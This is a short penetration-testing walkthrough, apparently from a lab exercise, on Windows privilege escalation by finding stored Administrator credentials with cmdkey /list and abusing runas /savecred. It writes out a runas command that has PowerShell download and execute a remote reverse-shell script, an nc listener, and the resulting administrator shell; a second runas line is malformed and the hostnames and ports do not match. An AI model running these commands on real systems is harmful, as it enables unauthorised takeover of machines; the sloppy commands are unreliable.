Runas (Stored Credentials)
Windows Privilege Escalation using Runas.
Runas is a windows command line tool that allows users to run other tools, programs or commands with permissions of another user. If a user's credentials are cached in the system, the Runas command can be run using the /savecred flag which will automatically authenticate and execute the command as that user.
Cmdkey
Cmdkey is a Windows command-line utility that is used to create, list, and delete stored user names and passwords or credentials.
With cmdkey /list
we can retrieve a stored credential for "ACCESS\Administrator
C:\Users\security>cmdkey /list
Currently stored credentials:
Target: Domain:interactive=ACCESS\Administrator
Type: Domain Password
User: ACCESS\Administrator
Windows may save credentials for several reasons
sysadmin configured an application to run as an admin with /savecred specified
sysadmin choose to use it to not repeatedly enter admin password
run an application with elevated privileges.
Privilege escalation
To escalate privielges we can start powershelll using runas with ACCESS\administrator
# runas
runas /user:ACCESS\Administrator /savecred "powershell iex(new-object net.webclient).downloadstring('http://10.10.14.4:8000/ps_rev.ps1')"
# runas
runas user passwd powershell.exe -r 10.10.14.9:1443
And on our listener we receive the connection
nc -lvnp 8888
listening on [any] 8888 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.10.98] 49171
whoami
zencorp\administrator
PS C:\Windows\system32>
So check cmdkey /list to check for stored credentials which can be used with runas, like
runas /user:ACCESS\Administrator
Last updated
Was this helpful?